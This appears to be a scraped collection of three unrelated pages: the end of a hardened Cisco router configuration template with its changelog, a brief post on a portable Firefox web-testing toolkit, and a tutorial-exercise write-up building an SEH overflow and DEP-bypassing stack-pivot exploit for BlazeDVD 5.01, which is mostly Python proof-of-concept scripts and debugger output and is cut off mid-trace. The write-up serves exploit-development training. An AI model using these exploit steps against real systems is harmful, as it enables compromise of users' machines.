\! This ACL assumes that we need to access the Internet only from the  
\! 192.0.2.32/27 network. If you have additional networks behind  
\! 192.0.2.32/27, then add them into this ACL.  
**access-list 115 remark Anti-spoofing ACL  
** \! First, allow our intranet to access the Internet.  
**access-list 115 permit ip 192.0.2.32 0.0.0.31 any  
** \! Second, allow our firewall to access the Internet. This is useful  
\! for testing.  
**access-list 115 permit ip host 192.0.2.30 any  
** \! Now log all other such attempts.  
**access-list 115 deny ip any any log-input  
** \!  
\! Rate limit \(CAR\) ACLs for UDP, ICMP, and multicast.  
**access-list 150 remark CAR-UDP ACL  
** **access-list 150 permit udp any any  
** **access-list 160 remark CAR-ICMP ACL  
** **access-list 160 permit icmp any any  
** **access-list 170 remark CAR-Multicast ACL  
** **access-list 170 permit ip any 224.0.0.0 15.255.255.255  
** \!  
\! Deny any packets from the RFC 1918, IANA reserved, test,  
\! multicast as a source, and loopback netblocks to block  
\! attacks from commonly spoofed IP addresses.  
**access-list 2010 remark Anti-bogon ACL  
** \! Claims it came from the inside network, yet arrives on the  
\! outside \(read: Internet\) interface. Do not use this if CEF  
\! has been configured to take care of spoofing.  
**\! access-list 2010 deny ip 192.0.2.16 0.0.0.15 any log-input  
** **\! access-list 2010 deny ip 192.0.2.32 0.0.0.31 any log-input  
** \!  
\! Bogons  
\! Team Cymru has removed all static bogon references from this template  
\! due to the high probability that the application of these bogon filters  
\! will be a one-time event. Unfortunately many of these templates are  
\! applied and never re-visited, despite our dire warnings that bogons do  
\! change.  
\!  
\! This doesn't mean bogon filtering can't be accomplished in an automated  
\! manner. Why not consider peering with our globally distributed bogon  
\! route-server project? Alternately you can obtain a current and well  
\! maintained bogon feed from our DNS and RADb services. Read more at the  
\! link below to learn how\!  
\!  
\! https://www.team-cymru.org/Services/Bogons/  
\!  
\! Drop all ICMP fragments  
**access-list 2010 deny icmp any any fragments log-input  
** \! Allow IP access to the intranet \(firewall filters specific ports\)  
**access-list 2010 permit ip any 192.0.2.32 0.0.0.31  
** \! Allow multicast to enter. See also access-list 30 for more  
\! specific multicast rules.  
**access-list 2010 permit ip any 224.0.0.0 15.255.255.255  
** \! Our explicit \(read: logged\) drop all rule  
**access-list 2010 deny ip any any log-input  
** \!  
\! Do not share CDP information, which contains key bits about our  
\! configuration, etc. This command disabled CDP globally. If you  
\! require CDP on an interface, use cdp run and disable cdp  
\! \(no cdp enable\) on the Internet-facing interface.  
**no cdp run  
** \! SNMP is VERY important, particularly with MRTG.  
\! Treat the COMMUNITY string as a password - keep it difficult to guess.  
\! For SNMP versions 1-2  
**snmp-server community <COMMUNITY> RO 20  
** \!  
\! Introduce ourselves with an appropriately stern banner.  
**banner motd %  
** **Router foo. Access to this device or the attached  
** **networks is prohibited without express written permission.  
** **Violators will be prosecuted to the fullest extent of both civil  
** **and criminal law.  
**  
**We don't like you. Go away.  
**  
**%  
** \!  
**line con 0  
** **exec-timeout 15 0  
** **transport input none  
** **line aux 0  
** **exec-timeout 15 0  
** **line vty 0 3  
** **access-class 100 in  
** **exec-timeout 15 0  
** \! Enable SSH connectivity.  
\! Obviously, you must have an IOS image that supports SSH, and don't  
\! forget to generate the key with **crypto key generate rsa**.  
\! To enable SSH access to the device, you additionally require a domain  
\! name to be set via "ip domian name x" before generating RSA keys  
**ip domain-name <YOUR.DOMAIN>  
** \! Disable SSHv1  
**ip ssh version 2  
** **transport input ssh  
** **line vty 4  
** **access-class 105 in  
** **exec-timeout 15 0  
** **transport input ssh  
** \!  
\! End of the configuration.  
\!

<img src='img/Temp2_7284.gif' />

## Change Log

Changes in version 6.5:

  * Specified ssh key generation
  * Clarified SNMP info for v1, v2
  * Disable NTP on interfaces not using it
  * Disable MOP on interfaces not using it

Changes in version 6.4:

  * Removed telnet references
  * Added comment for service password-encryption
  * Added comments for use of secret instead of password

Changes in version 6.3:

  * Added Login Block feature.
  * Cleaned up links, naming scheme, addresses.

Changes in version 6.2:

  * Converted sample addresses to TEST-NET to make this doc RFC 3330-compliant.
  * Added Login Block feature.

Changes in version 6.1:

  * Removed static bogon filters.

Changes in version 6.0:

  * 109/8 and 178/8 allocated to RIPE \(JAN 2009\). Removed from the bogon filters.

Changes in version 5.10:

  * 108/8 and 184/8 allocated to ARIN \(Dec 2008\). Removed from the bogon filters.

Changes in version 5.9:

  * 110/8 and 111/8 allocated to APNIC \(Nov 2008\). Removed from the bogon filters.

Changes in version 5.8:

  * Added in 198.18.0.0/15 added into the access-list and blackhole networks.

Changes in version 5.7:

  * 110/8 and 111/8 allocated to APNIC \(NOV 2008\). Removed from the bogon filters.

Changes in version 5.6:

  * 197/8 allocated to AFRINIC \(OCT 2008\). Removed from the bogon filters.

Changes in version 5.5:

  * 112/8 and 113/8 allocated to APNIC \(MAY 2008\). Removed from the bogon filters.

Changes in version 5.4:

  * Changed TCL wording.

Changes in version 5.3:

  * 173/8 and 174/8 allocated to ARIN \(FEB 2008\). Removed from the bogon filters.

Changes in version 5.2:

  * 14/8 changed to IANA Reserved \(JAN 2008\). Added to the bogon filters.

Changes in version 5.1:

  * 114/8 and 115/8 allocated to APNIC \(OCT 2007\). Removed from the bogon filters.

Changes in version 5.0:

  * 186/8 and 187/8 allocated to LACNIC \(SEP 2007\). Removed from the bogon filters.

Changes in version 4.9:

  * Disabled TCL.
  * Added access and enable command logging.
  * Added the Netflow top talkers feature.

Changes in version 4.8:

  * 94/8 and 95/8 allocated to RIPE \(JUL 2007\). Removed from the bogon filters.

Changes in version 4.7:

  * 46/8 re-listed as IANA Reserved \(APR 2007\). Added to the bogon filters. 7/8 removed from bogon filters due to dispute in allocation status. 

Changes in version 4.6:

  * 92/8 and 93/8 allocated to RIPE \(MAR 2007\). Removed from the bogon filters.

Changes in version 4.5:

  * 116/8, 117/8, 118/8, 119/8 and 120/8 allocated to APNIC \(JAN 2007\). Removed from the bogon filters.

Changes in version 4.4:

  * 96/8, 97/8, 98/8 and 99/8 allocated to ARIN \(OCT 2006\). Removed from the bogon filters.

Changes in version 4.3:

  * 77/8, 78/8 and 79/8 allocated to RIPE \(AUG 2006\). Removed from the bogon filters.

Changes in version 4.2:

  * 121/8, 122/8 and 123/8 allocated to APNIC \(JAN 2006\). Removed from the bogon filters.

Changes in version 4.1:

  * 89/8, 90/8 and 91/8 allocated to RIPE \(JUN 2005\). Removed from the bogon filters.

Changes in version 4.0:

  * 74/8, 75/8 and 76/8 allocated to ARIN \(JUN 2005\). Removed from the bogon filters.
  * 189/8 and 190/8 allocated to LACNIC \(JUN 2005\). Removed from the bogon filters.

Changes in version 3.9:

  * 41/8 allocated to AfriNIC \(APR 2005\). Removed from the bogon filters.

Changes in version 3.8:

  * 73/8 allocated to ARIN \(MAR 2005\). Removed from the bogon filters.

Changes in version 3.7:

  * 124/8, 125/8 and 126/8 allocated to APNIC \(JAN 2005\). Removed from the bogon filters.

Changes in version 3.6:

  * 71/8 and 72/8 allocated to ARIN \(AUG 2004\). Removed from the bogon filters.

Changes in version 3.5:

  * 58/8 and 59/8 allocated to the APNIC \(APR 2004\). Removed from the bogon filters.
  * Removed TCP Intercept, a feature best left disabled on all routers.

Changes in version 3.4:

  * 85/8, 86/8, 87/8, and 88/8 allocated to the RIPE NCC \(APR 2004\). Removed from the bogon filters.

Changes in version 3.3:

  * Removed 70/8 \(allocated to ARIN JAN 2004\) from the bogon filters.

Changes in version 3.1:

  * Removed 83/8 and 84/8 \(allocated to RIPE NCC NOV 2003\) from the bogon filters.

Changes in version 3.0:

  * APNIC returned the 223/8 allocation to IANA and received the 60/8 allocation in its place on 07 April 2003.

Changes in version 2.9:

  * Added the following netblocks to the bogon filters, designated as RESERVED by IANA on 04 April 2003: 
[code]    173/8   Apr 03   IANA - Reserved

    174/8   Apr 03   IANA - Reserved
    175/8   Apr 03   IANA - Reserved
    176/8   Apr 03   IANA - Reserved
    177/8   Apr 03   IANA - Reserved
    178/8   Apr 03   IANA - Reserved 
    179/8   Apr 03   IANA - Reserved 
    180/8   Apr 03   IANA - Reserved 
    181/8   Apr 03   IANA - Reserved 
    182/8   Apr 03   IANA - Reserved 
    183/8   Apr 03   IANA - Reserved 
    184/8   Apr 03   IANA - Reserved 
    185/8   Apr 03   IANA - Reserved 
    186/8   Apr 03   IANA - Reserved 
    187/8   Apr 03   IANA - Reserved 
    189/8   Apr 03   IANA - Reserved 
    190/8   Apr 03   IANA - Reserved 
    
[/code]

Changes in version 2.8:

  * Removed 201/8 \(allocated to LACNIC APR 2003\) from the bogon filters.

Changes in version 2.7:

  * Removed 222/8 and 223/8 \(allocated to APNIC FEB 2003\) from the bogon filters.

Changes in version 2.6:

  * Removed 82/8 \(allocated to RIPE NOV 2002\) from the bogon filters.

Changes in version 2.5:

  * Removed 69/8 \(allocated to ARIN AUG 2002\) from the bogon filters.

Changes in version 2.3:

  * Added additional bogon filters to the black hole route list. 
  * Added additional bogon filters to the ACLs. 

Changes on 22 JUN 2001 \(version 2.3.1\):

  * Removed 67/8 and 68/8 from the "bogon" ACLs. These netblocks will be allocated by ARIN \(on /20 boundaries\) as of 22 June 2001.

Changes on 16 OCT 2001 \(version 2.3.2\):

  * Removed 219/8 from the "bogon" ACLs. This netblock will be allocated by APNIC as of 17 October 2001.

Changes in version 2.4:

  * Removed 221/8 from the ACL and black hole route list. This netblock has been allocated to APNIC as of JUL 2002.

<img src='img/Temp2_7284.gif' />

\[ Documents \] \[ Home \]

Team Cymru, noc@cymru.com, https://www.team-cymru.org

# Firefox Portable WEBTOOLS for Web Application Security — PenTestIT

**Created:**| _9/10/2010 9:45:59 AM_  
---|---  
**Updated:**| _9/10/2010 9:45:59 AM_  
**Author:**| _wishi_  
**Tags:**| _web-app-sec security tools pentest browser_  
  

# Firefox Portable WEBTOOLS for Web Application Security

September 8, 2010 11:46 am · 0 comments

by Black

in Penetration Testing,Portable,Security tools,Web Application Penetration
Testing

If you are aware of the PenTestIT.Com’s WAPT FireFox Add-ons, this collection
might ring a bell in your security inclined mind. This is a portable version
of Mozilla Firefox with several addons that are useful for Web Application
Security. The purpose of this package is to have the best available addons to
manually test XSS, SQL, siXSS, CSRF, Trace XSS, RFI, LFI, etc.

<img src='img/c99d5246a8416bdcb4fc599f1e2b91bb.jpg' width='345' height='374'
alt='c99d5246a8416bdcb4fc599f1e2b91bb Firefox Portable WEBTOOLS for Web
Application Security' />

<img src='img/.gif' alt='Click Here' />

We have tested it on Windows XP SP2 and SP3 and found it very useful. But,
with more manual intervention for reporting and other fine tuning of tools,
this could be an awesome collection\!

Download Firefox Portable WEBTOOLS **here**

  *[September 8, 2010 11:46 am]: 2010-09-08 11:46

# corelan tutorial 10 exercise solution | journal | sprawl
**Created:**| _3/2/2013 12:02:32 PM_  
---|---  
**Updated:**| _3/2/2013 12:02:32 PM_  
**Author:**| __  
**Tags:**| _Exploit_  
  

# corelan tutorial 10 exercise solution

At the end of the Exploit writing tutorial part 10 : Chaining DEP with ROP –
the Rubik’s Cube there is an exercise challenging readers to write a complete
ASLR/DEP bypassing exploit for BlazeDVD 5.1 Professional. The exercise
contains several tips including a method of bypassing ASLR by using a leaked
kernel32.dll address on the stack and bypassing DEP by using the
_VirtualProtect_ method. The solution below will develop a complete exploit on
_Windows 7 SP1 x86_ with DEP set to AlwaysOn.

**NOTE:** I was not able to exploit the BlazeDVD 5.1 executable attached to
the tutorial simply due to BlazeDVD refusing to run on any version of Windows
7 \(x86/64bit/SP0/SP1\). However, exploit-db contains a version of BlazeDVD
5.01 which does run on Windows 7 with DEP enabled. You can get it here

**NOTE:** The software must be in either TRIAL mode or fully registered before
you can open the exploit payload.

# Enabling DEP

Before proceeding with the exercise I set DEP to AlwaysOn with the following
command:

[code]

    bcdedit /set nx AlwaysOn
    
[/code]

Verify the setting was enabled as follows:

[code]

    C:\Windows\system32>bcdedit /enum
    Windows Boot Loader
    -------------------
    identifier              {current}
    device                  partition=C:
    path                    \Windows\system32\winload.exe
    description             Windows 7
    locale                  en-US
    inherit                 {bootloadersettings}
    recoverysequence        {4ac79535-c4d5-11e1-82eb-d4607931d729}
    recoveryenabled         Yes
    osdevice                partition=C:
    systemroot              \Windows
    resumeobject            {4ac79533-c4d5-11e1-82eb-d4607931d729}
    nx                      AlwaysOn
    
[/code]

Reboot Windows to complete the configuration.

# Finding the vulnerability

First let's observe the vulnerability by generating a malicious playlist and
opening it with BlazeDVD. The following PoC will generate the necessary
payload:

[code]

    #!/usr/bin/env python
    # PoC1.py
    junk = "A"*1000
    
    payload = junk
    
    f = open('exploit.plf','w')
    f.write(payload)
    f.close()
    
[/code]

After opening the playlist in BlazeDVD the following crash occurs:

[code]

    (e64.df8): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00000001 ebx=776100aa ecx=03058cf0 edx=00000042 esi=030528a0 edi=6405362c
    eip=41414141 esp=0012f424 ebp=03052470 iopl=0         nv up ei pl nz ac po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
    41414141 ??              ???
    
[/code]

This looks like a vanilla Direct RET buffer overflow; however, the tutorial
suggests the SEH attack vector which also appears to be exploitable:

[code]

    0:000> !exchain
    0012f56c: 41414141
    Invalid exception stack at 41414141
    
[/code]

Both SEH and NSEH were overwritten with the values that we control, so it is
safe to proceed with SEH based exploitation.

# Finding the Offset

Let's figure out how far we need to write in order to overwrite SEH. To
accomplish this, I have generated a 1000 byte pattern using _mona.py_ as
follows:

[code]

    !mona pattern_create 1000
    
[/code]

Below is the updated PoC which will be used to figure out the offset:

[code]

    #!/usr/bin/env python
    # PoC2.py
    
    # 1000 byte pattern
    pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
    
    payload = pattern
    
    f = open('exploit.plf','w')
    f.write(payload)
    f.close()
    
[/code]

Below is the updated SEH chain view inside a debugger:

[code]

    0:000> !exchain
    0012f56c: 41347541
    Invalid exception stack at 33754132
    
[/code]

In the example above NSEH was overwritten with the pattern _33754132_ and SEH
was overwritten with the pattern _41347541_. However, because DEP is enabled,
we can not simply pivot to NSEH and run instructions from the stack. As a
result we are only interested in the offset of SEH.

Using _mona.py_ I have calculated the offset of SEH as follows:

[code]

    !mona pattern_offset 41347541
    Message= - Pattern Au4A (0x41347541) found in Metasploit patternat position 612
    
[/code]

So we can control the value of SEH by creating a junk buffer of 612 bytes.
Let's confirm this finding with the following PoC:

[code]

    #!/usr/bin/env python
    # PoC2a.py
    
    junk = "A"*612
    
    payload = junk
    
    seh = "BBBB"
    
    payload = payload + seh
    
    f = open('exploit.plf','w')
    f.write(payload)
    f.close()
    
[/code]

As the following chain output illustrates we now control the value of SEH:

[code]

    0:000> !exchain
    0012f56c: 42424242
    Invalid exception stack at 41414141
    
[/code]

# Pivoting to the stack

At this point we need to transfer the flow of execution back to the stack area
under our control. This action can be accomplished by observing the location
of ESP at the time SEH gets executed relative to the location of our payload
on the stack. Here is a PoC to help us figure this out:

[code]

    #!/usr/bin/env python
    # PoC3.py
    
    import struct
    
    pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
    payload = pattern[:612]
    
    seh = struct.pack('L',0x600148e5) # RETN
    
    payload = payload + seh
    
    f = open('exploit.plf','w')
    f.write(payload)
    f.close()
    
[/code]

I have used the same offset pattern in the above PoC; however, in this case I
am only using the first 612 bytes to get to SEH. The address 0x600148e5 was
randomly selected with the only purpose of setting a breakpoint at that
location and calculating ESP relative offset once we hit it.

Let's set the breakpoint and let BlazeDVD run:

[code]

    0:000> bp 0x600148e5
    0:000> bl
     0 e 600148e5     0001 (0001)  0:**** Configuration!DllCreateObject+0xcdd5
    0:000> g
    
[/code]

Next, load the payload and continue execution until we hit the breakpoint:

[code]

    (ca4.f88): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00000001 ebx=776100aa ecx=049d8cf0 edx=00000042 esi=049d28a0 edi=6405362c
    eip=37694136 esp=0012f424 ebp=049d2470 iopl=0         nv up ei pl nz ac po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
    37694136 ??              ???
    0:000> g
    Breakpoint 0 hit
    eax=00000000 ebx=00000000 ecx=600148e5 edx=777871cd esi=00000000 edi=00000000
    eip=600148e5 esp=0012f03c ebp=0012f05c iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    Configuration!DllCreateObject+0xcdd5:
    600148e5 c3              ret
    
[/code]

At this point ESP is pointing to 0x0012f03c. After looking through the stack I
have located the beginning of the payload at the following location:

[code]

    0:000> dd 0012f424 - 10
    0012f414  fffffd34 000002cc 00000018 00000000
    0012f424  6a41336a 356a4134 41366a41 6a41376a
    0012f434  396a4138 41306b41 6b41316b 336b4132
    0012f444  41346b41 6b41356b 376b4136 41386b41
    0012f454  6c41396b 316c4130 41326c41 6c41336c
    0012f464  356c4134 41366c41 6c41376c 396c4138
    0012f474  41306d41 6d41316d 336d4132 41346d41
    0012f484  6d41356d 376d4136 41386d41 6e41396d
    
[/code]

Notice that the payload begins at 0012f424 and appears to be cut off.
Searching for the pattern _6a41336a_ in mona confirms that the first 280 bytes
of the payload were cut off.

[code]

    !mona pattern_offset 6a41336a
     - Pattern j3Aj (0x6a41336a) found in Metasploit patternat position 280
    
[/code]

Back to the stack pivot calculation: the address 0012f424 appears to be 1000
bytes away from ESP at the time the breakpoint is hit:

[code]

    0:000> ? 0012f424 - esp
    Evaluate expression: 1000 = 000003e8
    
[/code]

So ideally, we need to find a ROP gadget equivalent to **ADD ESP 3E8 \# RETN**
to pivot precisely to the beginning of the stack.

To find a suitable stack pivot I have used mona's stackpivot searching
functionality. Load BlazeDVD executable in the Immunity Debugger and run the
following command:

[code]

    !mona stackpivot -n -o -distance 1000
    
[/code]

**NOTE:** Be sure you are running Immunity Debugger with sufficient privileges
to write to mona's output folder.

After a few minutes, mona will generate **stackpivot.txt** file in its output
directory \(Immunity Debugger's program folder by default\). Here is the first
entry that will send us almost to the beginning of the payload:

[code]

    0x600148df : {pivot 1024} :  # ADD ESP,400 # RETN    ** [Configuration.dll] 
    ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.5.19.2006 (C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\Configuration.dll) **
    |   {PAGE_EXECUTE_READ}
    
[/code]

Let's update the previous PoC to calculate precisely where ADD ESP,400 pivot
will land:

[code]

    #!/usr/bin/env python
    # PoC3.py
    import struct
    
    pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
    payload = pattern[:612]
    
    seh = struct.pack('L',0x600148df) # ADD ESP,400 # RETN
    
    payload = payload + seh
    
    f = open('exploit.plf','w')
    f.write(payload)
    f.close()
    
[/code]

Just as before, let's set a breakpoint at the stack pivot:

[code]

    0:000> bp 0x600148df
    0:000> bl
     0 e 600148df     0001 (0001)  0:**** Configuration!DllCreateObject+0xcdcf
    0:000> g
    
[/code]

Load the playlist and observe the crash:

[code]

    (b48.378): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00000001 ebx=776100aa ecx=049e8cf0 edx=00000042 esi=049e28a0 edi=6405362c
    eip=37694136 esp=0012f424 ebp=049e2470 iopl=0         nv up ei pl nz ac po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
    37694136 ??              ???
    0:000> g
    Breakpoint 0 hit
    eax=00000000 ebx=00000000 ecx=600148df edx=777871cd esi=00000000 edi=00000000
    eip=600148df esp=0012f03c ebp=0012f05c iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    Configuration!DllCreateObject+0xcdcf:
    600148df 81c400040000    add     esp,400h
    0:000> t
    eax=00000000 ebx=00000000 ecx=600148df edx=777871cd esi=00000000 edi=00000000
    eip=600148e5 esp=0012f43c ebp=0012f05c iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    Configuration!DllCreateObject+0xcdd5:
    600148e5 c3              ret
    0:000> dd esp
    0012f43c  6b41316b 336b4132 41346b41 6b41356b
    0012f44c  376b4136 41386b41 6c41396b 316c4130
    0012f45c  41326c41 6c41336c 356c4134 41366c41
    0012f46c  6c41376c 396c4138 41306d41 6d41316d
    0012f47c  336d4132 41346d41 6d41356d 376d4136
    0012f48c  41386d41 6e41396d 316e4130 41326e41
    0012f49c  6e41336e 356e4134 41366e41 6e41376e
    0012f4ac  396e4138 41306f41 6f41316f 336f4132
    
[/code]

The ESP register points to 0012f43c which contains the pattern 6b41316b
\(offset 304\) which is expected considering we are jumping extra 24 bytes
from the beginning of the payload in addition to the 280 bytes that were cut
off by the program.

Just to prove the validity of the stack pivot, let's update the previous PoC
and trace through it:

[code]

    #!/usr/bin/env python
    # PoC4.py
    import struct
    
    junk1 = "A"*304 # Initial junk that will be cut off (first 280 bytes are skipped)
    
    rop = "BBBB"    # First ROP
    
    junk2 = "C"*(612 - len(rop) - len(junk1))
    
    seh = struct.pack('L',0x600148df) # ADD ESP,400 # RETN
    
    payload = junk1 + rop + junk2 + seh
    
    f = open('exploit.plf','w')
    f.write(payload)
    f.close()
    
[/code]

Here is the debugging session corresponding to the updated PoC:

[code]

    0:000> bp 0x600148df
    0:000> bl
     0 e 600148df     0001 (0001)  0:**** Configuration!DllCreateObject+0xcdcf
    0:000> g
    (fe8.dd0): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00000001 ebx=776100aa ecx=04a58cf0 edx=00000042 esi=04a528a0 edi=6405362c
    eip=41414141 esp=0012f424 ebp=04a52470 iopl=0         nv up ei pl nz ac po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
    41414141 ??              ???
    0:000> g
    Breakpoint 0 hit
    eax=00000000 ebx=00000000 ecx=600148df edx=777871cd esi=00000000 edi=00000000
    eip=600148df esp=0012f03c ebp=0012f05c iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    Configuration!DllCreateObject+0xcdcf:
    600148df 81c400040000    add     esp,400h
    0:000> t
    eax=00000000 ebx=00000000 ecx=600148df edx=777871cd esi=00000000 edi=00000000
    eip=600148e5 esp=0012f43c ebp=0012f05c iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    Configuration!DllCreateObject+0xcdd5:
    600148e5 c3              ret
    0:000> t
    eax=00000000 ebx=00000000 ecx=600148df edx=777871cd esi=00000000 edi=00000000
